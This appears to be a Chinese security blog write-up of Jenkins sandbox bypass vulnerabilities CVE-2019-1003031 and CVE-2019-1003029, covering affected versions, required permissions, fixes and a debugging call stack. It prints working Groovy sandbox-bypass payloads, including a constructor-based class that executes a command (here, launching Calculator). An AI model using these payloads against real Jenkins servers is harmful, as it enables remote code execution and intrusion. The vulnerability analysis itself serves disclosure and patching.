登陆 注册

CVE-2019-1003031:[Jenkins]Matrix Project Plugin沙箱绕过漏洞

lucifer11 2019-05-30 CVE-2019-1003031漏洞分析

[1] CVE-2019-1003031:[Jenkins]Matrix Project Plugin 沙箱绕过

Matrix Project插件用于构建“多配置项目”,如多环境测试、平台指定构建等。
在其配置过程中接受用户指定的Groovy Script,在Matrix Project Plugin <= 1.13中存在沙箱被绕过的漏洞。
影响版本:Matrix Project Plugin <= 1.13
利用条件:具有Job/Configure 权限的用户
修复建议:升级到1.14或以上
参考:
https://jenkins.io/security/advisory/2019-03-06/#SECURITY-1339
https://nvd.nist.gov/vuln/detail/CVE-2019-1003031

[2] CVE-2019-1003029:[Jenkins]Script Security Plugin 沙箱绕过

Script Security插件集成在Jenkins的各种功能插件(比如Matrix Project插件)中,可以用来管理普通用户执行Groovy脚本的权限。
Jenkins的Script Security插件 <= 1.53中存在沙箱被绕过的漏洞。
影响版本:Script Security Plugin <= 1.53
利用条件:具有Overall/Read 权限的用户
修复建议:升级到1.54或以上(考虑到CVE-2019-1003040,需升级到1.56或以上)
参考:
https://jenkins.io/security/advisory/2019-03-06/#SECURITY-1336
https://nvd.nist.gov/vuln/detail/CVE-2019-1003029

前一段时间,Jenkins官方的安全通告报了好几个严重漏洞,但是可能大家在狂欢Orange大佬的那个未授权RCE
看了Matrix Project Plugin相关的介绍
得知这个插件是在创建Job的时候,选择项目类型的地方体现的:

通过查看各个项的帮助信息,找到了输入Groovy脚本的地方:

在准备利用Matrix Project Plugin漏洞的时候,发现自己输入的脚本要么是格式不对,要么是碰到了Groovy脚本安全性检查,也就是某些方法或者关键字不允许使用。

先是试了这个payload:

(new java.lang.ProcessBuilder("/Applications/Calculator.app/Contents/MacOS/Calculator").start())==""

然而发现不能调用ProcessBuilder:

后来又用了:

("".getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("/Applications/Calculator.app/Contents/MacOS/Calculator"))==""

结果:

联想到之前Orange在博客里说的,需结合几个漏洞来利用,突然明白,由于Script Security插件就是对Jenkins的各种用到了Groovy脚本功能处进行安全检查的,所以需结合这个Script Security检查绕过漏洞CVE-2019-1003029来实现代码执行。

后来翻了一下Orange的博客下的评论。这里评论说,其实并不一定要用Meta Programming来实现,CVE-2019-1003029的作者webpentest给出了绕过方法:

public class Tst {public Tst()"your cmd here".execute()}}

有时候修复漏洞的commit中的test也可以给我们一些信息,因为作者修复了一个漏洞,需要写一个test来验证这个漏洞是否真的修复了。

两个地方都提到了DoNotRunConstructor。看这个类名:DoNotRunConstructor(不执行构造器)
猜测这里主要是验证这个构造器里的代码不会被执行。可以验证webpentest的思路其实就是在类的构造器里执行代码,而不是反射或者Runtime、new之类的方式。

我在使用的时候,发现public关键字不能使用,于是去掉了public,改成了:

class poc{poc(){"/Applications/Calculator.app/Contents/MacOS/Calculator".execute()}}

Demo

具有Job/Configure 权限的用户登录,然后新建一个Job,选择构建一个多配置项目,点击OK,然后在接下来的

调试

环境:

根据commit的和漏洞描述,在hudson/matrix/FilterScript.javaevaluate()方法下断点。

POST /jenkins_2_150_3/job/cqq/configSubmit

调用栈为:

parse:117, FilterScript (hudson.matrix)
parse:105, FilterScript (hudson.matrix)
evalGroovyExpression:101, Combination (hudson.matrix)
evalGroovyExpression:91, Combination (hudson.matrix)
rebuildConfigurations:658, MatrixProject (hudson.matrix)
submit:959, MatrixProject (hudson.matrix)
doConfigSubmit:1350, Job (hudson.model)
doConfigSubmit:772, AbstractProject (hudson.model)

其中combinationFilter参数的值为我们指定的payload。

这里就到了groovy.lang.GroovyShell#parse(String)了。注意这里只是解析传入的字符串脚本,然后返回相应的groovy.lang.Script对象。

Parses the given script and returns it ready to be run

参考:Groovy官方文档)

参考

https://blog.orange.tw/2019/02/abusing-meta-programming-for-unauthenticated-rce.html
https://www.lucifaer.com/2019/03/04/Jenkins%20RCE%E5%88%86%E6%9E%90%EF%BC%88CVE-2018-1000861%E5%88%86%E6%9E%90%EF%BC%89/

原文由先知社区https://xz.aliyun.com/t/5270

生成海报
请发表您的评论
lucifer11

lucifer11

热爱黑客技术。
1文章数 0评论数
请关注微信公众号
微信二维码
不容错过
Powered By SangYun.Net